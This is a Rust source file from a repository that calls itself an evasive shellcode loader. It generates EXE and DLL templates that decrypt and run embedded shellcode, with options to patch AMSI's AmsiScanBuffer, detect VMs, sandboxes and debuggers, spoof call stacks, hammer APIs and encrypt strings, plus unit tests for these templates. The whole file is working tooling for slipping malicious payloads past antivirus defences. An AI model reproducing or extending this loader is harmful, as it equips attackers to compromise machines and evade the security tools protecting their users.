myph-v2.git


myph-v2

~ rust shellcode loader with evasive capabilities
git clone https://github.com/djnnvx/myph-v2.git
log | files | refs | archive | README

main_funcs.rs (28601B)

      1 pub struct TemplateConfig<'a> {
      2     pub internals_source: &'a str,
      3     pub shellcode_array: &'a str,
      4     pub key_array: &'a str,
      5     pub decrypt_code: &'a str,
      6     pub technique_code: &'a str,
      7     pub technique_function_name: &'a str,
      8     pub with_api_hammering: bool,
      9     pub with_amsi_patch: bool,
     10     pub with_string_encryption: bool,
     11     pub with_dynamic_function_resolver: bool,
     12     pub with_anti_vm: bool,
     13     pub with_anti_sandbox: bool,
     14     pub with_anti_debugger: bool,
     15     pub with_callstack_spoofing: bool,
     16     pub encryption_type: &'a str,
     17     pub amsi_patch_code: &'a str,
     18     pub evasion_code: &'a str,
     19     pub string_obfuscator: Box<dyn super::StringObfuscation + 'a>,
     20 }
     21 
     22 impl<'a> TemplateConfig<'a> {
     23     pub fn builder() -> TemplateConfigBuilder<'a> {
     24         TemplateConfigBuilder::new()
     25     }
     26 }
     27 
     28 pub struct TemplateConfigBuilder<'a> {
     29     internals_source: Option<&'a str>,
     30     shellcode_array: Option<&'a str>,
     31     key_array: Option<&'a str>,
     32     decrypt_code: Option<&'a str>,
     33     technique_code: Option<&'a str>,
     34     technique_function_name: Option<&'a str>,
     35     with_api_hammering: bool,
     36     with_amsi_patch: bool,
     37     with_string_encryption: bool,
     38     with_dynamic_function_resolver: bool,
     39     with_anti_vm: bool,
     40     with_anti_sandbox: bool,
     41     with_anti_debugger: bool,
     42     with_callstack_spoofing: bool,
     43     encryption_type: Option<&'a str>,
     44     amsi_patch_code: Option<&'a str>,
     45     evasion_code: Option<&'a str>,
     46     string_obfuscator: Option<Box<dyn super::StringObfuscation + 'a>>,
     47 }
     48 
     49 impl<'a> TemplateConfigBuilder<'a> {
     50     pub fn new() -> Self {
     51         Self {
     52             internals_source: None,
     53             shellcode_array: None,
     54             key_array: None,
     55             decrypt_code: None,
     56             technique_code: None,
     57             technique_function_name: None,
     58             with_api_hammering: false,
     59             with_amsi_patch: false,
     60             with_string_encryption: false,
     61             with_dynamic_function_resolver: false,
     62             with_anti_vm: false,
     63             with_anti_sandbox: false,
     64             with_anti_debugger: false,
     65             with_callstack_spoofing: false,
     66             encryption_type: None,
     67             amsi_patch_code: None,
     68             evasion_code: None,
     69             string_obfuscator: None,
     70         }
     71     }
     72 
     73     pub fn internals_source(mut self, source: &'a str) -> Self {
     74         self.internals_source = Some(source);
     75         self
     76     }
     77 
     78     pub fn shellcode_array(mut self, array: &'a str) -> Self {
     79         self.shellcode_array = Some(array);
     80         self
     81     }
     82 
     83     pub fn key_array(mut self, array: &'a str) -> Self {
     84         self.key_array = Some(array);
     85         self
     86     }
     87 
     88     pub fn decrypt_code(mut self, code: &'a str) -> Self {
     89         self.decrypt_code = Some(code);
     90         self
     91     }
     92 
     93     pub fn technique_code(mut self, code: &'a str) -> Self {
     94         self.technique_code = Some(code);
     95         self
     96     }
     97 
     98     pub fn technique_function_name(mut self, name: &'a str) -> Self {
     99         self.technique_function_name = Some(name);
    100         self
    101     }
    102 
    103     pub fn with_api_hammering(mut self, enabled: bool) -> Self {
    104         self.with_api_hammering = enabled;
    105         self
    106     }
    107 
    108     pub fn with_amsi_patch(mut self, enabled: bool) -> Self {
    109         self.with_amsi_patch = enabled;
    110         self
    111     }
    112 
    113     pub fn with_string_encryption(mut self, enabled: bool) -> Self {
    114         self.with_string_encryption = enabled;
    115         self
    116     }
    117 
    118     pub fn with_dynamic_function_resolver(mut self, enabled: bool) -> Self {
    119         self.with_dynamic_function_resolver = enabled;
    120         self
    121     }
    122 
    123     pub fn with_anti_vm(mut self, enabled: bool) -> Self {
    124         self.with_anti_vm = enabled;
    125         self
    126     }
    127 
    128     pub fn with_anti_sandbox(mut self, enabled: bool) -> Self {
    129         self.with_anti_sandbox = enabled;
    130         self
    131     }
    132 
    133     pub fn with_anti_debugger(mut self, enabled: bool) -> Self {
    134         self.with_anti_debugger = enabled;
    135         self
    136     }
    137 
    138     pub fn with_callstack_spoofing(mut self, enabled: bool) -> Self {
    139         self.with_callstack_spoofing = enabled;
    140         self
    141     }
    142 
    143     pub fn encryption_type(mut self, enc_type: &'a str) -> Self {
    144         self.encryption_type = Some(enc_type);
    145         self
    146     }
    147 
    148     pub fn amsi_patch_code(mut self, code: &'a str) -> Self {
    149         self.amsi_patch_code = Some(code);
    150         self
    151     }
    152 
    153     pub fn evasion_code(mut self, code: &'a str) -> Self {
    154         self.evasion_code = Some(code);
    155         self
    156     }
    157 
    158     pub fn string_obfuscator(mut self, obfuscator: Box<dyn super::StringObfuscation + 'a>) -> Self {
    159         self.string_obfuscator = Some(obfuscator);
    160         self
    161     }
    162 
    163     pub fn build(self) -> TemplateConfig<'a> {
    164         TemplateConfig {
    165             internals_source: self.internals_source.expect("internals_source is required"),
    166             shellcode_array: self.shellcode_array.expect("shellcode_array is required"),
    167             key_array: self.key_array.expect("key_array is required"),
    168             decrypt_code: self.decrypt_code.expect("decrypt_code is required"),
    169             technique_code: self.technique_code.expect("technique_code is required"),
    170             technique_function_name: self
    171                 .technique_function_name
    172                 .expect("technique_function_name is required"),
    173             with_api_hammering: self.with_api_hammering,
    174             with_amsi_patch: self.with_amsi_patch,
    175             with_string_encryption: self.with_string_encryption,
    176             with_dynamic_function_resolver: self.with_dynamic_function_resolver,
    177             with_anti_vm: self.with_anti_vm,
    178             with_anti_sandbox: self.with_anti_sandbox,
    179             with_anti_debugger: self.with_anti_debugger,
    180             with_callstack_spoofing: self.with_callstack_spoofing,
    181             encryption_type: self.encryption_type.unwrap_or(""),
    182             amsi_patch_code: self.amsi_patch_code.unwrap_or(""),
    183             evasion_code: self.evasion_code.unwrap_or(""),
    184             string_obfuscator: self
    185                 .string_obfuscator
    186                 .expect("string_obfuscator is required"),
    187         }
    188     }
    189 }
    190 
    191 impl Default for TemplateConfigBuilder<'_> {
    192     fn default() -> Self {
    193         Self::new()
    194     }
    195 }
    196 
    197 pub fn generate_random_function_name() -> String {
    198     use std::collections::hash_map::RandomState;
    199     use std::hash::{BuildHasher, Hash, Hasher};
    200 
    201     let random_state = RandomState::new();
    202     let mut hasher = random_state.build_hasher();
    203 
    204     std::time::SystemTime::now()
    205         .duration_since(std::time::UNIX_EPOCH)
    206         .unwrap()
    207         .as_nanos()
    208         .hash(&mut hasher);
    209 
    210     std::process::id().hash(&mut hasher);
    211 
    212     let hash = hasher.finish();
    213 
    214     const CHARSET: &[u8] = b"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
    215 
    216     let length = 10 + (hash % 16) as usize;
    217     let mut result = String::with_capacity(length);
    218 
    219     let mut val = hash;
    220     for i in 0..length {
    221         let idx = if i == 0 {
    222             (val % 52) as usize
    223         } else {
    224             (val % CHARSET.len() as u64) as usize
    225         };
    226         result.push(CHARSET[idx] as char);
    227         val = val.wrapping_mul(6364136223846793005).wrapping_add(1);
    228     }
    229 
    230     result
    231 }
    232 
    233 // Note: These functions are separate rather than using a trait-based approach
    234 // because this file is included in build.rs (line 5) and cannot import
    235 // crate::cli::BinaryFormat which is only available at runtime.
    236 // The build script constraint requires keeping these as separate functions.
    237 
    238 /// Generate the main.rs template for EXE binaries
    239 pub fn generate_exe_main_template(config: &TemplateConfig) -> String {
    240     let api_hammering_code = if config.with_api_hammering {
    241         super::generate_api_hammering_functions()
    242     } else {
    243         String::new()
    244     };
    245 
    246     let callstack_spoofing_code = if config.with_callstack_spoofing {
    247         super::generate_uwd_info_comment().to_string()
    248     } else {
    249         String::new()
    250     };
    251 
    252     let amsi_patch_code = if config.with_amsi_patch {
    253         config.amsi_patch_code.to_string()
    254     } else {
    255         String::new()
    256     };
    257 
    258     let amsi_patch_call = if config.with_amsi_patch {
    259         "    let _ = patch_amsi();\n"
    260     } else {
    261         ""
    262     };
    263 
    264     let evasion_code = config.evasion_code.to_string();
    265 
    266     let evasion_checks_call =
    267         if config.with_anti_vm || config.with_anti_sandbox || config.with_anti_debugger {
    268             crate::evasion::generate_evasion_check_call(
    269                 config.with_anti_vm,
    270                 config.with_anti_sandbox,
    271                 config.with_anti_debugger,
    272             )
    273         } else {
    274             String::new()
    275         };
    276 
    277     let string_const = config.string_obfuscator.generate_constants();
    278     let decrypt_size_msg = config.string_obfuscator.generate_decrypt_and_print();
    279 
    280     format!(
    281         r#"mod internals {{
    282 {}
    283 }}
    284 
    285 {}
    286 
    287 {}
    288 
    289 {}
    290 
    291 {}
    292 
    293 {}
    294 
    295 {}
    296 
    297 {}
    298 
    299 const ENCRYPTED_SHELLCODE: &[u8] = &{};
    300 const DECRYPTION_KEY: &[u8] = &{};
    301 {}
    302 fn main() {{
    303 {}    {}
    304 {}    {}
    305     {}(&decrypted);
    306 }}
    307 "#,
    308         config.internals_source,
    309         super::techniques::common::common_local_memory_imports(),
    310         super::techniques::common::common_local_memory_externs(),
    311         callstack_spoofing_code,
    312         api_hammering_code,
    313         amsi_patch_code,
    314         evasion_code,
    315         config.technique_code,
    316         config.shellcode_array,
    317         config.key_array,
    318         string_const,
    319         amsi_patch_call,
    320         config.decrypt_code,
    321         evasion_checks_call,
    322         decrypt_size_msg,
    323         config.technique_function_name
    324     )
    325 }
    326 
    327 /// Generate the lib.rs template for DLL binaries
    328 pub fn generate_dll_lib_template(config: &TemplateConfig) -> String {
    329     let api_hammering_code = if config.with_api_hammering {
    330         super::generate_api_hammering_functions()
    331     } else {
    332         String::new()
    333     };
    334 
    335     let callstack_spoofing_code = if config.with_callstack_spoofing {
    336         super::generate_uwd_info_comment().to_string()
    337     } else {
    338         String::new()
    339     };
    340 
    341     let amsi_patch_code = if config.with_amsi_patch {
    342         config.amsi_patch_code.to_string()
    343     } else {
    344         String::new()
    345     };
    346 
    347     let amsi_patch_call = if config.with_amsi_patch {
    348         "    let _ = patch_amsi();\n"
    349     } else {
    350         ""
    351     };
    352 
    353     let evasion_code = config.evasion_code.to_string();
    354 
    355     let evasion_checks_call =
    356         if config.with_anti_vm || config.with_anti_sandbox || config.with_anti_debugger {
    357             crate::evasion::generate_evasion_check_call(
    358                 config.with_anti_vm,
    359                 config.with_anti_sandbox,
    360                 config.with_anti_debugger,
    361             )
    362         } else {
    363             String::new()
    364         };
    365 
    366     let string_const = config.string_obfuscator.generate_constants();
    367     let decrypt_size_msg = config.string_obfuscator.generate_decrypt_and_print();
    368 
    369     format!(
    370         r#"mod internals {{
    371 {}
    372 }}
    373 
    374 {}
    375 
    376 {}
    377 
    378 {}
    379 
    380 {}
    381 
    382 {}
    383 
    384 {}
    385 
    386 {}
    387 
    388 const ENCRYPTED_SHELLCODE: &[u8] = &{};
    389 const DECRYPTION_KEY: &[u8] = &{};
    390 {}
    391 #[no_mangle]
    392 pub extern "C" fn DllMain(_hinst_dll: *const u8, _fdw_reason: u32, _lpv_reserved: *const u8) -> u32 {{
    393 {}    {}
    394 {}    {}
    395     {}(&decrypted);
    396     1
    397 }}
    398 
    399 #[no_mangle]
    400 pub extern "C" fn get_shellcode_size() -> usize {{
    401     ENCRYPTED_SHELLCODE.len()
    402 }}
    403 "#,
    404         config.internals_source,
    405         super::techniques::common::common_local_memory_imports(),
    406         super::techniques::common::common_local_memory_externs(),
    407         callstack_spoofing_code,
    408         api_hammering_code,
    409         amsi_patch_code,
    410         evasion_code,
    411         config.technique_code,
    412         config.shellcode_array,
    413         config.key_array,
    414         string_const,
    415         amsi_patch_call,
    416         config.decrypt_code,
    417         evasion_checks_call,
    418         decrypt_size_msg,
    419         config.technique_function_name
    420     )
    421 }
    422 
    423 #[cfg(test)]
    424 mod tests {
    425     use super::*;
    426 
    427     #[test]
    428     fn test_exe_template_contains_main_function() {
    429         let config = TemplateConfig::builder()
    430             .internals_source("pub fn test() {}")
    431             .shellcode_array("[0x90, 0x90]")
    432             .key_array("[0x41, 0x42]")
    433             .decrypt_code("let decrypted = vec![0x90];")
    434             .technique_code("")
    435             .technique_function_name("placeholder")
    436             .with_api_hammering(false)
    437             .with_amsi_patch(false)
    438             .string_obfuscator(Box::new(super::super::NoObfuscation))
    439             .build();
    440         let template = generate_exe_main_template(&config);
    441 
    442         assert!(template.contains("fn main()"));
    443         assert!(template.contains("const ENCRYPTED_SHELLCODE"));
    444         assert!(template.contains("const DECRYPTION_KEY"));
    445     }
    446 
    447     #[test]
    448     fn test_exe_template_no_example_code() {
    449         let config = TemplateConfig::builder()
    450             .internals_source("pub fn test() {}")
    451             .shellcode_array("[0x90, 0x90]")
    452             .key_array("[0x41, 0x42]")
    453             .decrypt_code("let decrypted = vec![];")
    454             .technique_code("")
    455             .technique_function_name("placeholder")
    456             .with_api_hammering(false)
    457             .with_amsi_patch(false)
    458             .string_obfuscator(Box::new(super::super::NoObfuscation))
    459             .build();
    460         let template = generate_exe_main_template(&config);
    461 
    462         assert!(!template.contains("Hello from generated"));
    463         assert!(!template.contains("Example usage"));
    464         assert!(!template.contains("bytes_to_hex"));
    465     }
    466 
    467     #[test]
    468     fn test_exe_template_includes_decrypt_code() {
    469         let decrypt_code = "let decrypted = decrypt_xor();";
    470         let config = TemplateConfig {
    471             internals_source: "pub fn test() {}",
    472             shellcode_array: "[0x90]",
    473             key_array: "[0x41]",
    474             decrypt_code,
    475             technique_code: "",
    476             technique_function_name: "placeholder",
    477             with_api_hammering: false,
    478             with_amsi_patch: false,
    479             with_string_encryption: false,
    480             with_dynamic_function_resolver: false,
    481             with_anti_vm: false,
    482             with_anti_sandbox: false,
    483             with_anti_debugger: false,
    484             with_callstack_spoofing: false,
    485             encryption_type: "xor",
    486             amsi_patch_code: "",
    487             evasion_code: "",
    488             string_obfuscator: Box::new(super::super::NoObfuscation),
    489         };
    490         let template = generate_exe_main_template(&config);
    491 
    492         assert!(template.contains(decrypt_code));
    493     }
    494 
    495     #[test]
    496     fn test_dll_template_contains_dllmain() {
    497         let config = TemplateConfig::builder()
    498             .internals_source("pub fn test() {}")
    499             .shellcode_array("[0x90, 0x90]")
    500             .key_array("[0x41, 0x42]")
    501             .decrypt_code("let decrypted = vec![0x90];")
    502             .technique_code("")
    503             .technique_function_name("placeholder")
    504             .with_api_hammering(false)
    505             .with_amsi_patch(false)
    506             .string_obfuscator(Box::new(super::super::NoObfuscation))
    507             .build();
    508         let template = generate_dll_lib_template(&config);
    509 
    510         assert!(template.contains("DllMain"));
    511         assert!(template.contains("get_shellcode_size"));
    512         assert!(template.contains("const ENCRYPTED_SHELLCODE"));
    513         assert!(template.contains("const DECRYPTION_KEY"));
    514     }
    515 
    516     #[test]
    517     fn test_dll_template_includes_decrypt_code() {
    518         let decrypt_code = "let decrypted = decrypt_aes();";
    519         let config = TemplateConfig {
    520             internals_source: "pub fn test() {}",
    521             shellcode_array: "[0x90]",
    522             key_array: "[0x41]",
    523             decrypt_code,
    524             technique_code: "",
    525             technique_function_name: "placeholder",
    526             with_api_hammering: false,
    527             with_amsi_patch: false,
    528             with_string_encryption: false,
    529             with_dynamic_function_resolver: false,
    530             with_anti_vm: false,
    531             with_anti_sandbox: false,
    532             with_anti_debugger: false,
    533             with_callstack_spoofing: false,
    534             encryption_type: "aes",
    535             amsi_patch_code: "",
    536             evasion_code: "",
    537             string_obfuscator: Box::new(super::super::NoObfuscation),
    538         };
    539         let template = generate_dll_lib_template(&config);
    540 
    541         assert!(template.contains(decrypt_code));
    542         assert!(template.contains("DllMain"));
    543     }
    544 
    545     #[test]
    546     fn test_dll_template_dllmain_returns_one() {
    547         let config = TemplateConfig::builder()
    548             .internals_source("pub fn test() {}")
    549             .shellcode_array("[0x90]")
    550             .key_array("[0x41]")
    551             .decrypt_code("let decrypted = vec![0x90];")
    552             .technique_code("")
    553             .technique_function_name("placeholder")
    554             .with_api_hammering(false)
    555             .with_amsi_patch(false)
    556             .string_obfuscator(Box::new(super::super::NoObfuscation))
    557             .build();
    558         let template = generate_dll_lib_template(&config);
    559 
    560         assert!(template.contains("1\n}"));
    561     }
    562 
    563     #[test]
    564     fn test_exe_template_with_technique() {
    565         let config = TemplateConfig::builder()
    566             .internals_source("pub fn test() {}")
    567             .shellcode_array("[0x90, 0x90]")
    568             .key_array("[0x41, 0x42]")
    569             .decrypt_code("let decrypted = vec![0x90];")
    570             .technique_code("fn my_func(data: &[u8]) {}")
    571             .technique_function_name("my_func")
    572             .with_api_hammering(false)
    573             .with_amsi_patch(false)
    574             .string_obfuscator(Box::new(super::super::NoObfuscation))
    575             .build();
    576         let template = generate_exe_main_template(&config);
    577 
    578         assert!(template.contains("fn main()"));
    579         assert!(template.contains("my_func(&decrypted)"));
    580         assert!(template.contains("const ENCRYPTED_SHELLCODE"));
    581     }
    582 
    583     #[test]
    584     fn test_dll_template_with_technique() {
    585         let config = TemplateConfig::builder()
    586             .internals_source("pub fn test() {}")
    587             .shellcode_array("[0x90, 0x90]")
    588             .key_array("[0x41, 0x42]")
    589             .decrypt_code("let decrypted = vec![0x90];")
    590             .technique_code("fn my_func(data: &[u8]) {}")
    591             .technique_function_name("my_func")
    592             .with_api_hammering(false)
    593             .with_amsi_patch(false)
    594             .string_obfuscator(Box::new(super::super::NoObfuscation))
    595             .build();
    596         let template = generate_dll_lib_template(&config);
    597 
    598         assert!(template.contains("DllMain"));
    599         assert!(template.contains("my_func(&decrypted)"));
    600         assert!(template.contains("get_shellcode_size"));
    601     }
    602 
    603     #[test]
    604     fn test_generate_random_function_name_format() {
    605         let name = generate_random_function_name();
    606         assert!(name.len() >= 10 && name.len() <= 25);
    607         assert!(name.chars().all(|c| c.is_ascii_alphabetic()));
    608     }
    609 
    610     #[test]
    611     fn test_generate_random_function_names_are_different() {
    612         let name1 = generate_random_function_name();
    613         let name2 = generate_random_function_name();
    614         assert_ne!(name1, name2);
    615     }
    616 
    617     #[test]
    618     fn test_exe_template_with_amsi_patch() {
    619         let amsi_code = super::super::generate_amsi_patch_code();
    620         let config = TemplateConfig::builder()
    621             .internals_source("pub fn test() {}")
    622             .shellcode_array("[0x90, 0x90]")
    623             .key_array("[0x41, 0x42]")
    624             .decrypt_code("let decrypted = vec![0x90];")
    625             .technique_code("fn my_func(data: &[u8]) {}")
    626             .technique_function_name("my_func")
    627             .with_api_hammering(false)
    628             .with_amsi_patch(true)
    629             .with_string_encryption(false)
    630             .with_dynamic_function_resolver(false)
    631             .encryption_type("xor")
    632             .amsi_patch_code(&amsi_code)
    633             .string_obfuscator(Box::new(super::super::NoObfuscation))
    634             .build();
    635         let template = generate_exe_main_template(&config);
    636 
    637         assert!(template.contains("fn patch_amsi()"));
    638         assert!(template.contains("let _ = patch_amsi();"));
    639         assert!(template.contains("AmsiScanBuffer"));
    640     }
    641 
    642     #[test]
    643     fn test_exe_template_without_amsi_patch() {
    644         let config = TemplateConfig::builder()
    645             .internals_source("pub fn test() {}")
    646             .shellcode_array("[0x90, 0x90]")
    647             .key_array("[0x41, 0x42]")
    648             .decrypt_code("let decrypted = vec![0x90];")
    649             .technique_code("fn my_func(data: &[u8]) {}")
    650             .technique_function_name("my_func")
    651             .with_api_hammering(false)
    652             .with_amsi_patch(false)
    653             .string_obfuscator(Box::new(super::super::NoObfuscation))
    654             .build();
    655         let template = generate_exe_main_template(&config);
    656 
    657         assert!(!template.contains("fn patch_amsi()"));
    658         assert!(!template.contains("let _ = patch_amsi();"));
    659         assert!(!template.contains("AmsiScanBuffer"));
    660     }
    661 
    662     #[test]
    663     fn test_dll_template_with_amsi_patch() {
    664         let amsi_code = super::super::generate_amsi_patch_code();
    665         let config = TemplateConfig::builder()
    666             .internals_source("pub fn test() {}")
    667             .shellcode_array("[0x90, 0x90]")
    668             .key_array("[0x41, 0x42]")
    669             .decrypt_code("let decrypted = vec![0x90];")
    670             .technique_code("fn my_func(data: &[u8]) {}")
    671             .technique_function_name("my_func")
    672             .with_api_hammering(false)
    673             .with_amsi_patch(true)
    674             .with_string_encryption(false)
    675             .with_dynamic_function_resolver(false)
    676             .encryption_type("xor")
    677             .amsi_patch_code(&amsi_code)
    678             .string_obfuscator(Box::new(super::super::NoObfuscation))
    679             .build();
    680         let template = generate_dll_lib_template(&config);
    681 
    682         assert!(template.contains("fn patch_amsi()"));
    683         assert!(template.contains("let _ = patch_amsi();"));
    684         assert!(template.contains("DllMain"));
    685     }
    686 
    687     #[test]
    688     fn test_dll_template_without_amsi_patch() {
    689         let config = TemplateConfig::builder()
    690             .internals_source("pub fn test() {}")
    691             .shellcode_array("[0x90, 0x90]")
    692             .key_array("[0x41, 0x42]")
    693             .decrypt_code("let decrypted = vec![0x90];")
    694             .technique_code("fn my_func(data: &[u8]) {}")
    695             .technique_function_name("my_func")
    696             .with_api_hammering(false)
    697             .with_amsi_patch(false)
    698             .string_obfuscator(Box::new(super::super::NoObfuscation))
    699             .build();
    700         let template = generate_dll_lib_template(&config);
    701 
    702         assert!(!template.contains("fn patch_amsi()"));
    703         assert!(!template.contains("let _ = patch_amsi();"));
    704         assert!(template.contains("DllMain"));
    705     }
    706 
    707     #[test]
    708     fn test_amsi_patch_with_string_encryption() {
    709         use crate::cli::EncryptionKind;
    710         use crate::encryption::{create_encryptor, derive_key_bytes};
    711 
    712         let encryption_kind = EncryptionKind::XOR;
    713         let encryption_key = "test_key";
    714 
    715         let amsi_dll_str = "amsi.dll";
    716         let amsi_scan_buffer_str = "AmsiScanBuffer";
    717 
    718         let encryptor = create_encryptor(encryption_kind.clone(), encryption_key);
    719 
    720         let encrypted_dll = encryptor.encrypt(amsi_dll_str.as_bytes()).unwrap();
    721         let encrypted_func = encryptor.encrypt(amsi_scan_buffer_str.as_bytes()).unwrap();
    722 
    723         let key_bytes = derive_key_bytes(encryption_key, &encryption_kind);
    724 
    725         let format_as_array = |bytes: &[u8]| -> String {
    726             if bytes.is_empty() {
    727                 return "[]".to_string();
    728             }
    729             use std::fmt::Write;
    730             let mut result = String::with_capacity(bytes.len() * 6 + 2);
    731             result.push('[');
    732             for (i, byte) in bytes.iter().enumerate() {
    733                 if i > 0 {
    734                     result.push_str(", ");
    735                 }
    736                 write!(result, "0x{:02x}", byte).unwrap();
    737             }
    738             result.push(']');
    739             result
    740         };
    741 
    742         let dll_array = format_as_array(&encrypted_dll);
    743         let func_array = format_as_array(&encrypted_func);
    744         let key_array = format_as_array(&key_bytes);
    745 
    746         let decrypt_fn = "internals::decrypt_xor";
    747         let expect_clause = "";
    748 
    749         let amsi_code = super::super::generate_amsi_patch_code_with_string_encryption(
    750             &dll_array,
    751             &func_array,
    752             &key_array,
    753             decrypt_fn,
    754             expect_clause,
    755         );
    756 
    757         assert!(amsi_code.contains("ENCRYPTED_AMSI_DLL"));
    758         assert!(amsi_code.contains("ENCRYPTED_AMSI_FUNC"));
    759         assert!(amsi_code.contains("AMSI_KEY"));
    760         assert!(amsi_code.contains("decrypt_xor"));
    761         assert!(amsi_code.contains("LoadLibraryA"));
    762         assert!(amsi_code.contains("GetProcAddress"));
    763         assert!(amsi_code.contains("VirtualProtect"));
    764         assert!(amsi_code.contains("fn patch_amsi()"));
    765     }
    766 
    767     #[test]
    768     fn test_amsi_patch_with_dynamic_resolver() {
    769         use crate::cli::EncryptionKind;
    770         use crate::encryption::create_encryptor;
    771 
    772         let encryption_type = "xor";
    773         let encryptor = create_encryptor(EncryptionKind::XOR, "test_key");
    774 
    775         let load_library_dll_encrypted = encryptor.encrypt(b"kernel32.dll").unwrap();
    776         let load_library_fn_encrypted = encryptor.encrypt(b"LoadLibraryA").unwrap();
    777 
    778         let load_library_resolver = super::super::generate_dynamic_function_resolver(
    779             "kernel32.dll",
    780             "LoadLibraryA",
    781             encryption_type,
    782             "load_library_a",
    783             "DECRYPTION_KEY",
    784             &load_library_dll_encrypted,
    785             &load_library_fn_encrypted,
    786         )
    787         .unwrap();
    788 
    789         let get_proc_address_dll_encrypted = encryptor.encrypt(b"kernel32.dll").unwrap();
    790         let get_proc_address_fn_encrypted = encryptor.encrypt(b"GetProcAddress").unwrap();
    791 
    792         let get_proc_address_resolver = super::super::generate_dynamic_function_resolver(
    793             "kernel32.dll",
    794             "GetProcAddress",
    795             encryption_type,
    796             "get_proc_address",
    797             "DECRYPTION_KEY",
    798             &get_proc_address_dll_encrypted,
    799             &get_proc_address_fn_encrypted,
    800         )
    801         .unwrap();
    802 
    803         let virtual_protect_dll_encrypted = encryptor.encrypt(b"kernel32.dll").unwrap();
    804         let virtual_protect_fn_encrypted = encryptor.encrypt(b"VirtualProtect").unwrap();
    805 
    806         let virtual_protect_resolver = super::super::generate_dynamic_function_resolver(
    807             "kernel32.dll",
    808             "VirtualProtect",
    809             encryption_type,
    810             "virtual_protect",
    811             "DECRYPTION_KEY",
    812             &virtual_protect_dll_encrypted,
    813             &virtual_protect_fn_encrypted,
    814         )
    815         .unwrap();
    816 
    817         let load_library_cast = super::super::generate_function_type_and_cast(
    818             "load_library_a",
    819             "unsafe extern \"system\" fn(*const u8) -> *mut std::ffi::c_void",
    820         );
    821 
    822         let get_proc_address_cast = super::super::generate_function_type_and_cast(
    823             "get_proc_address",
    824             "unsafe extern \"system\" fn(*mut std::ffi::c_void, *const u8) -> *mut std::ffi::c_void"
    825         );
    826 
    827         let virtual_protect_cast = super::super::generate_function_type_and_cast(
    828             "virtual_protect",
    829             "unsafe extern \"system\" fn(*mut std::ffi::c_void, usize, u32, *mut u32) -> i32",
    830         );
    831 
    832         let dll_resolver = "const ENCRYPTED_AMSI_DLL: &[u8] = &[0x01];";
    833         let func_resolver = "const ENCRYPTED_AMSI_FUNC: &[u8] = &[0x02];";
    834 
    835         let amsi_code = super::super::generate_amsi_patch_code_with_dynamic_resolver(
    836             super::super::AmsiDynamicResolverParams {
    837                 dll_resolver,
    838                 func_resolver,
    839                 load_library_resolver: &load_library_resolver,
    840                 load_library_cast: &load_library_cast,
    841                 get_proc_address_resolver: &get_proc_address_resolver,
    842                 get_proc_address_cast: &get_proc_address_cast,
    843                 virtual_protect_resolver: &virtual_protect_resolver,
    844                 virtual_protect_cast: &virtual_protect_cast,
    845             },
    846         );
    847 
    848         assert!(amsi_code.contains("ENCRYPTED_AMSI_DLL"));
    849         assert!(amsi_code.contains("ENCRYPTED_AMSI_FUNC"));
    850         assert!(amsi_code.contains("internals::get_module_base"));
    851         assert!(amsi_code.contains("internals::get_function_address"));
    852         assert!(amsi_code.contains("load_library_a"));
    853         assert!(amsi_code.contains("get_proc_address"));
    854         assert!(amsi_code.contains("virtual_protect"));
    855         assert!(amsi_code.contains("fn patch_amsi()"));
    856     }
    857 }